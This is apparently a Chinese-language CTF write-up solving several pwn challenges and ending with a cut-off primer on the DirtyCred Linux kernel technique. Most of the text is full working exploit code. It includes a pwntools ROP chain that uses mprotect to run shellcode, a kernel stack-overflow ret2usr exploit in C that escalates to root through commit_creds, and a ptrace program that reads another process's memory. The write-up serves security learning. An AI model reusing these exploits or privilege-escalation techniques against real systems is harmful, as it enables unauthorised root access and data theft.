0%

welcome_CAT_CTF

欢迎来到 CAT CTF,本题为签到题,选手可以通过暴打出题人或者运维拿 flag(用awsd操控,按键j为确定键,建议全屏运行)

入侵思路

1
2
3
4
5
6
7
if ( (char *)s[100 * v0 - 100 + v1] == "@" && glod > 100000000 )
{
puts("GET_FLAG!");
nc = get_nc();
get_flag(nc);
getchar();
}
  • 满足这个条件就可以拿 flag

程序的逻辑如下:

W S A D
v0— v0++ v1— v1++

但是按照程序本身的逻辑是不可能拿到 flag 的:

1
2
if ( glod <= 99 )
++glod;

于是我们就需要对 client 进行修改

  • 注意:server 中还会进行2次检查
1
2
3
4
5
6
7
8
9
10
11
12
13
printf("glod :%d\n", (unsigned int)v26);
if ( !strcmp(s1, key) && v26 > 10000000 )
{
std::ifstream::basic_ifstream(v30);
std::ifstream::open(v30, "./flag", 8LL);
v18 = std::operator<<<std::char_traits<char>>(&std::cout, "Reading from the file");
std::ostream::operator<<(v18, &std::endl<char,std::char_traits<char>>);
std::operator>><char,std::char_traits<char>>(v30, v36);
printf("flag:%s", v36);
v19 = strlen(v36);
send(v24, v36, v19, 0);
std::ifstream::~ifstream(v30);
}
  • 因此我们作出如下修改:
1
2
3
4
5
6
7
8
case 'j':
if ( (char *)s[100 * v0 - 100 + v1] == "$" )
{
glod += 10000001;
puts("你给了出题人或者赛事负责人一拳");
printf("你现在拥有%d个猫币", (unsigned int)glod);
getchar();
}
1
2
3
4
5
6
7
if ( (char *)s[100 * v0 - 100 + v1] == "@" && glod > 1 )
{
puts("GET_FLAG!");
nc = get_nc();
get_flag(nc);
getchar();
}

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './client'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x92D3)\n")
#pause()

def cmd(op):
p.sendline(op)

p.sendline("223.112.5.156")
p.sendline("62238")
#p.sendline("127.0.0.1")
#p.sendline("8888")

for i in range(40):
cmd("d")

cmd("a")

for i in range(40):
cmd("w")

cmd("j")

for i in range(40):
cmd("s")

for i in range(40):
cmd("a")

for i in range(7):
cmd("d")

for i in range(20):
cmd("w")

#debug()

cmd("j")

p.interactive()

bitcoin

1
2
3
4
5
6
pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=2604789bb1491ea07bfd32d3b87759c191b91f30, not stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 64位,dynamically,开了 NX,Partial RELRO
1
2
3
4
5
6
7
8
9
10
➜  bitcoin seccomp-tools dump ./pwn       
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x04 0xc000003e if (A != ARCH_X86_64) goto 0006
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0006
0004: 0x15 0x01 0x00 0x00000009 if (A == mmap) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x06 0x00 0x00 0x00000000 return KILL
  • ban 了 execvemmap

漏洞分析

1
2
std::operator<<<std::char_traits<char>>(&std::cout, "Password: ");
std::operator>><char,std::char_traits<char>>(&std::cin, passwd);
  • 栈溢出

入侵思路

有栈溢出,可以写 ROP 链

打比赛时的入侵思路就是:

  • 执行 fopen 打开 flag 文件
  • 执行 fgetsflag 文件的内容读到本地
  • 执行 printfflag 输出到屏幕

需要解决的第一个问题就是把 fopen 的返回值与 fgets 相关联:

1
2
3
4
5
RAX  0x24cbeb0 ◂— 0xfbad2488
RBX 0x4062a0 (__libc_csu_init) ◂— push r15
RCX 0x6
RDX 0x0
RDI 0x406360 ◂— outsb dx, byte ptr [rsi] /* 'ned!' */
  • 其实就是把 RAX 存储到 RDX 中

最后找不到这个 gadget,只好放弃了

组里的大佬用 mprotect 来执行 shellcode,当时没有想到这个方法(没有 read 函数可以用 cin 代替)

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './pwn'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('119.13.105.35','10111')

def debug():
gdb.attach(p,"b* 0x40223B\n")
#gdb.attach(p,"b *$rebase(0x269F)\n")
pause()

def cmd(op):
p.sendline(op)

pop_rdi_ret = 0x0000000000406303
pop_rsi_pop_r15_ret = 0x0000000000406301
cin = 0x6093A0
use_cin = 0x401C30
hard = 0x609248
main = elf.sym['main']
start = elf.sym['_start']

csu_front_addr=0x4062E0
csu_end_addr=0x4062FA

bss_addr = 0x609300
got_addr = 0x609000

flag_str = 0x406626
modes_str = 0x406365

fget_got = 0x6091D8
fopen_plt = 0x401E60
mprotect_got = 0x6091E0

def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call(只能是got表地址)
# rdx=r15
# rsi=r14
# rdi=r13
# csu(0, 1, fun_got, rdi, rsi, rdx, last)
payload = ""
payload += p64(csu_end_addr)
payload += p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
payload += p64(csu_front_addr)
payload += 'a' * 0x38
payload += p64(last)
return payload

p.sendline()

mprotect = csu(0,1,mprotect_got,got_addr,0x1000,7,pop_rdi_ret)

#debug()
name = "YHellow"
p.sendlineafter("Name:",name)

payload = "a"*0x48
payload += mprotect + p64(cin)
payload += p64(pop_rsi_pop_r15_ret) + p64(bss_addr) + p64(0)
payload += p64(use_cin) + p64(bss_addr)

p.sendlineafter("Password:",payload)
p.sendline(asm(shellcraft.cat("./flag")))

p.interactive()

vmbyhrp

1
2
3
4
5
6
HRPVM: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=ae19ec35e351cd7e0113b04270566c04bd3bd321, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
stream = fopen((const char *)name, "ab+");
if ( stream )
{
for ( i = 0; (unsigned int)__isoc99_fscanf((__int64)stream, "%c", &input[i]) != -1; ++i )
;
fclose(stream);
file_data[file_count].fd = global_fd;
file_data[file_count].name = (char *)name;
file_data[file_count].use = 1000LL;
index = file_count;
file_data[index].data = (char *)malloc(0x1000uLL);
strncpy(file_data[file_count].data, input, 0x1000uLL);
++file_count;
++global_fd;
}
  • 程序已经开好了后门

入侵思路

想要执行后门函数,就必须执行 DEBUG 函数,从而需要让 users[0]users[1] 都为“0”:

1
2
if ( !strncmp(*(&system_cmd + 6), (const char *)buf, len) && !users[1] && !users[0] )// debug
DEBUG();

程序没法直接修改 users[0]users[1],但可以通过 file_data 向下覆盖:

1
2
3
.bss:0000000000204120 file_data Chunk 20h dup(<?>)         
......
.bss:0000000000204520 users dd 2 dup(?)

然后通过 vm_elfusers[0]users[1] 设置为“0”

进入 DEBUG 函数,把 flag 写到本地以后还有一些小问题:

  • 需要先执行 mmap 申请一片空间
  • 接着执行 reboot 写入这片空间的地址

这样就可以避免在打印 flag 时发生段错误了

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './HRPVM'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 0
if local:
p = process(challenge)
else:
p = remote('223.112.5.156','51240')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x23C8)\n")
pause()

def cmd(op):
p.sendlineafter("HRP-MACHINE$",op)

def ls():
cmd("ls")

def id():
cmd("id")

def file(name,data):
cmd("file")
p.sendlineafter("FILE NAME: ",name)
p.sendlineafter("FILE CONTENT: ",data)

def cat(name):
cmd("cat "+name)

def do(name):
cmd("./"+name)

def reg():
cmd("reg")

def reboot():
cmd("reboot")

def rm(name):
cmd("rm "+name)

def de():
cmd("DEBUG")

p.sendlineafter("USER NAME:","HRPHRP")
p.sendlineafter("PASSWORD:","PWNME")
holder = "YHellow"
p.sendlineafter("[+]HOLDER:",holder)

payload = "mov rdi,35;mov rsi,0;call open 2;2;"
file("a"*0x8,payload)
payload = "mov rdi,1;mov rsi,36;mov rdx,100;call write 1;1;"
file("b"*0x8,payload)
payload = "mov rdi,36;mov rsi,1001;call open 2;2;"
file("c"*0x8,payload)

for i in range(28):
print(str(i))
file("aaa"+str(i),"1"*0x20)

file("d"*0x8,"2"*0x20)
do("a"*0x8)

de()
p.sendlineafter("[+][DEBUGING]root# ","file input")
p.sendlineafter("FILE NAME:","flag")
p.sendlineafter("[+][DEBUGING]root# ","mmap")
p.sendlineafter("[+]ADDR EXPEND:",str(0x40000000))
p.sendlineafter("[+][DEBUGING]root# ","exit")

reboot()
p.sendlineafter("USER NAME:","HRPHRP")
p.sendlineafter("PASSWORD:","PWNME")
holder = p64(0x40000000)
p.sendlineafter("[+]HOLDER:",holder)

do("c"*0x8)
#debug()
do("b"*0x8)

p.interactive()

kernel-test

1
2
3
4
5
6
7
#!/bin/bash
FILE=./_install/flag
if test -f "$FILE"; then
cd ./_install && find . | cpio -o --format=newc > ../rootfs.img &&cd .. &&sh boot.sh
else
echo $1>./_install/flag && chmod 755 ./_install/flag && cd ./_install && find . | cpio -o --format=newc > ../rootfs.img &&cd .. &&sh boot.sh
fi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/sh
echo "INIT SCRIPT"
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs none /dev
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs none /tmp
cat /proc/kallsyms > /tmp/kallsyms

chown 0:0 flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console


insmod ./HRPKO.ko # 挂载内核模块
chmod 777 /dev/test

echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
setsid /bin/cttyhack setuidgid 1000 /bin/sh
#setsid /bin/cttyhack setuidgid 0 /bin/sh # 修改 uid gid 为 0 以提权 /bin/sh 至 root。
poweroff -f # 设置 shell 退出后则关闭机器

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
ssize_t __fastcall HRP_module_read(file *file, char *user, size_t size, loff_t *p)
{
char this_buf[64]; // [rsp+0h] [rbp-60h] BYREF
unsigned __int64 canary; // [rsp+40h] [rbp-20h]

_fentry__();
memset(&this_buf[21], 0, 43);
canary = __readgsqword(0x28u);
strcpy(this_buf, "welcome to my house\n");
printk("16USE MY read\n");
copy_to_user(user, &this_buf[size], 0x40LL);
return 0x1BF52LL;
}
  • 执行 read(fd,buf,0x40),返回下标为“0”的地方就是 canary
1
2
3
4
5
6
7
8
9
10
11
12
13
ssize_t __fastcall HRP_module_write(file *file, const char *user, size_t size, loff_t *p)
{
_fentry__();
printk("16USE MY write\n");
if ( size > 0x300 )
{
_warn_printk("Buffer overflow detected (%d < %lu)!\n", 0x300LL, size);
BUG();
}
_check_object_size(pwn, size, 0LL);
copy_from_user(pwn, user, size);
return 0x1BF52LL;
}
  • 把用户态传入的数据存储到 bss 中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__int64 __fastcall HRP_module_ioctl(file *file, unsigned int cmd, unsigned __int64 param)
{
__int64 v3; // rbp
_QWORD leak[2]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 canary; // [rsp+10h] [rbp-10h]
__int64 v7; // [rsp+18h] [rbp-8h]

_fentry__();
v7 = v3;
canary = __readgsqword(0x28u);
if ( cmd )
{
printk("16[HRPModule:] Unknown ioctl cmd!\n");
return 0xFFFFFFFFFFFFFFEALL;
}
else
{
leak[0] = 0x214F4E4F4ELL;
leak[1] = 0LL;
printk("16[HRPModule:] NOTHING! %s\n", (const char *)leak);
qmemcpy(leak, pwn, 0x100uLL);
return 0LL;
}
}
  • 内核栈溢出

入侵思路

打比赛时看到栈溢出就先去做其他题目了,因为我从来没有尝试过在内核中打栈

就从这个题开始,了解一下内核栈的利用手法

基础的利用思路就是:

  • 利用 HRP_module_read 泄露 canary
  • 利用 HRP_module_write 把 payload 写入 bss 段
  • 利用 HRP_module_ioctl 把 payload 写入栈,完成 ret2usr

由于没有限制 kallsyms,因此可以直接获取内核符号,在此之前我们需要知道 commit_credsprepare_kernel_cred 的偏移:

1
vmlinux-to-elf bzImage vmlinux
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
➜  easy-kernel python
Python 2.7.18 (default, Jul 1 2022, 12:27:04)
[GCC 9.4.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> vmlinux = ELF("./vmlinux")
[*] '/home/yhellow/\xe6\xa1\x8c\xe9\x9d\xa2/easy-kernel/vmlinux'
Arch: amd64-64-little
Version: 5.9.8
RELRO: No RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0xffffffff81000000)
RWX: Has RWX segments
>>> hex(vmlinux.sym['commit_creds'] - 0xffffffff81000000)
'0xccc30'
>>> hex(vmlinux.sym['prepare_kernel_cred'] - 0xffffffff81000000)
'0xcd0a0'

接下来就比较套路了,写入 canary 和 rbp,在返回地址处放一个 commit_creds(prepare_kernel_cred(0)) 就可以了

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
// gcc exploit.c -static -masm=intel -g -o exploit
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

size_t user_cs, user_ss, user_rflags, user_sp;
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t vmlinux_base = 0;

size_t find_symbols()
{
FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd))
{
if(commit_creds & prepare_kernel_cred)
return 0;

if(strstr(buf, "commit_creds") && !commit_creds)
{
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &commit_creds);
printf("commit_creds addr: %p\n", commit_creds);
vmlinux_base = commit_creds - 0xccc30;
printf("vmlinux_base addr: %p\n", vmlinux_base);
}

if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0xcd0a0;
}
}

if(!(prepare_kernel_cred & commit_creds))
{
puts("[*]Error!");
exit(0);
}
}

void save_status()
{
__asm__("mov %cs, user_cs;"
"mov %ss, user_ss;"
"mov %rsp, user_sp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}

void get_root(){
char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));
}

int main()
{
save_status();
printf("prepare_kernel_cred: %p\n",prepare_kernel_cred);
int fd;
fd = open("/dev/test", O_RDWR);

char buf[0x40];
read(fd,buf,0x40);
size_t canary = ((size_t *)buf)[0];
printf("canary: %p\n", canary);
size_t rbp = ((size_t *)buf)[4];

find_symbols();
size_t rop[0x1000] = {0};
rop[2] = canary;
rop[3] = rbp;
rop[4] = &get_root;
write(fd,rop,0x100);
ioctl(fd,0);
}

injection2.0

1
2
3
4
5
6
7
#!/bin/bash
FILE=./_install/flag
if test -f "$FILE"; then
cd ./_install && find . | cpio -o --format=newc > ../rootfs.img &&cd .. &&sh boot.sh
else
echo $1>./_install/flag && chmod 755 ./_install/flag && cd ./_install && find . | cpio -o --format=newc > ../rootfs.img &&cd .. &&sh boot.sh
fi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/bin/sh
echo "INIT SCRIPT"
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs none /dev
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs none /tmp
echo 0 | tee /proc/sys/kernel/yama/ptrace_scope
chown 0:0 flag
chmod 755 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
./target >pso.file 2>&1 &
setsid /bin/cttyhack setuidgid 0 /bin/sh
#setsid /bin/cttyhack setuidgid 0 /bin/sh # 修改 uid gid 为 0 以提权 /bin/sh 至 root。
poweroff -f # 设置 shell 退出后则关闭机器

入侵思路

这个题目有如下特点:

  • 没有挂载内核模块
  • 网上搜索到 /proc/sys/kernel/yama/ptrace_scope 的作用是 “控制对 ptrace 系统调用的响应”
  • 将文件 target 加载到了后台

先看一眼文件 target 的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int fd; // [rsp+Ch] [rbp-114h]
char buf[264]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v5; // [rsp+118h] [rbp-8h]

v5 = __readfsqword(0x28u);
fd = open("./flag", 436, envp);
read(fd, buf, 0x30uLL);
close(fd);
close(0);
close(1);
close(2);
system("rm flag");
while ( 1 )
{
write(1, "Hello World\n", 0xCuLL);
sleep(2u);
}
}
  • 把 flag 读取到本地内存,然后删除 flag 文件,循环输入 Hello World

打比赛时想到使用 ptrace 接口去连接程序,但不知道怎么获取栈上的数据,最后没做出来

赛后复现时才发现可以用 ps -ef 获取进程的 PID,然后 cat /proc/pid/maps 获取栈基址,最后在本地计算一下偏移,使用 ptrace 接口去读 flag 就好了

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <stdio.h>
#include <sys/ptrace.h>

int main(int argv , char **argc){
int data;
int stat;
int pid = atoi(argc[1]);
ptrace(PTRACE_ATTACH, pid, NULL, NULL);
wait(&stat);
long long int addr = 0;
scanf("%llx",&addr);
for (; addr < 0x7ffffffff000; ++addr)
{
data = ptrace(PTRACE_PEEKDATA, pid, addr, NULL);
if(data==0x65636165)
{
printf("data = %x , addr = %llx\n" , data , addr);
long long int addr1=addr-1;
char data1;
for(int i=0;i<100;i++)
{
addr1+=1;
data1 = ptrace(PTRACE_PEEKDATA, pid, addr1, NULL);
printf("%c" , data1);
}
}
}

ptrace(PTRACE_DETACH, pid, NULL, NULL);

return 1 ;
}

zip-zip

1
2
3
4
5
6
pwn: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=4f529bda60e1a98759dcb5e28ce1ee39d7410b7a, not stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 64位,statically,Partial RELRO,canary
1
2
3
4
5
6
0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x02 0xc000003e if (A != ARCH_X86_64) goto 0004
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005
0004: 0x06 0x00 0x00 0x00000000 return KILL
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
  • ban 了 execve

漏洞分析

1
2
3
4
puts("file");
_isoc99_scanf((__int64)"%2560s", file);
getchar();
fd = fopen64((__int64)file, (__int64)"rb");
  • 函数 zip 拥有打开文件的机会
1
2
3
4
5
6
7
8
9
10
11
12
puts("unzip file");
_isoc99_scanf((__int64)"%1s", file);
getchar();
fd = fopen64((__int64)file, (__int64)"wb");
if ( fd )
{
fwrite(chunk2, 1LL, len, fd);
fclose(fd);
free(chunk);
free(chunk2);
return 0LL;
}
  • 函数 unzip 可以把 zip 的文件内容读取到堆中

入侵思路

我的思路就是:使用 zip 压缩 flag,然后使用 unzip 读取到堆中

在此之前,需要先对 encrypt 函数进行逆向,以绕过 unzip 的限制

核心加密代码如下:

1
2
3
4
5
6
7
for ( i = 0; ; ++i )
{
index = i;
if ( index >= (unsigned __int64)j_strlen_ifunc(CDK) )
break;
code[i] = CDK[i];
}
1
2
3
4
5
6
7
8
9
10
for ( j = 0; ; ++j )
{
index = j;
if ( index >= (unsigned __int64)j_strlen_ifunc(CDK) )
break;
for ( k = 0; k < param1; ++k )
code2 = code2 * code[j] % param2;
c[j] = code2;
code2 = 1;
}
  • param1 == 7
  • param2 == 221

其实就是 (x^7) % 221 == c,已知 cx

这里直接用 z3 来解了:(因为是静态链接,用 angr 不如 z3 方便)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from z3 import *
a,b,c = Ints('a b c')
solver = Solver()
solver.add((a*a*a*a*a*a*a%221)==0x95) # 这里用**表示乘方会报错
solver.add((b*b*b*b*b*b*b%221)==0x6C)
solver.add((c*c*c*c*c*c*c%221)==0x18)
solver.add(a>0)
solver.add(b>0)
solver.add(c>0)
if solver.check() == sat:
ans = solver.model()
print(ans)
else:
print("no ans!")
1
[a = 72, c = 80, b = 82]
  • 结果为 “HRP”

打比赛时就做到这里,接着就不知道怎么泄露了

官方 wp 的做法如下:

  • zip 出来的文件和二进制文件 pwn 同名,这样就可以覆盖 pwn(此时不会破坏程序)
  • unzip 的时候发送 Ctrl+D(手动输入),程序就会结束输入,这样 unzip 的默认 filename 就是上次在 zip 输入的文件名,也就是 pwn
  • 再次 nc 时就可以通过报错信息拿到 flag

我自己复现的时候发现 fopen 打不开正在运行的文件:(不管是主机还是 docker 都一样)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
_IO_FILE *
_IO_new_file_fopen (_IO_FILE *fp, const char *filename, const char *mode,
int is32not64)
{
...
if (_IO_file_is_open (fp)) /* 检查文件是否以打开,打开则返回 */
return 0;
switch (*mode)
{
case 'r':
omode = O_RDONLY;
read_write = _IO_NO_WRITES;
break;
...
}
...
result = _IO_file_open (fp, filename, omode|oflags, oprot, read_write,
is32not64);
...
}
libc_hidden_ver (_IO_new_file_fopen, _IO_file_fopen)

这就有点搞不懂了,暂时放一放

Dirty Cred 漏洞成因

DirtyCred,一种新的通用漏洞利用方法,不用依赖 Linux 的 pipeline 机制,只需利用堆内存破坏类型的漏洞

攻击适用版本:

  • Linux Kernel版本 >= 2.6.12
  • Linux Kernel版本 <= 5.19.1

在 Linux 内核的 net/sched/cls_route.c 实现的 route4_change 中发现了一个漏洞,该漏洞源于释放后重用,本地攻击者利用该漏洞会导致系统崩溃,可能会造成本地特权升级问题

由于将 route4_filter 对象从链表中删除和释放时的检查条件不一致,导致该对象被释放后仍存于链表中,后面可以触发 Double-Free

前置知识 - 内核凭证 Credential

Kernel 凭证是 kernel 文档中定义的 kernel 中携带特权信息的特征,表示权限和对应的能力,主要分为:

  • task 凭证(struct cred
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
/* RCU deletion */
union {
int non_rcu; /* Can we skip RCU deletion? */
struct rcu_head rcu; /* RCU deletion hook */
};
} __randomize_layout;
  • open file 凭证(struct file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
struct file {
union {
struct llist_node fu_llist;
struct rcu_head fu_rcuhead;
} f_u;
struct path f_path;
struct inode *f_inode; /* cached value */
const struct file_operations *f_op;

/*
* Protects f_ep_links, f_flags.
* Must not be taken from IRQ context.
*/
spinlock_t f_lock;
enum rw_hint f_write_hint;
atomic_long_t f_count;
unsigned int f_flags;
fmode_t f_mode;
struct mutex f_pos_lock;
loff_t f_pos;
struct fown_struct f_owner;
const struct cred *f_cred;
struct file_ra_state f_ra;

u64 f_version;
#ifdef CONFIG_SECURITY
void *f_security;
#endif
/* needed for tty driver, and maybe others */
void *private_data;

#ifdef CONFIG_EPOLL
/* Used by fs/eventpoll.c to link all the hooks to this file */
struct list_head f_ep_links;
struct list_head f_tfile_llink;
#endif /* #ifdef CONFIG_EPOLL */
struct address_space *f_mapping;
errseq_t f_wb_err;
errseq_t f_sb_err; /* for syncfs */
} __randomize_layout
__attribute__((aligned(4))); /* lest something weird decides that 2 is OK */

struct file_handle {
__u32 handle_bytes;
int handle_type;
/* file identifier */
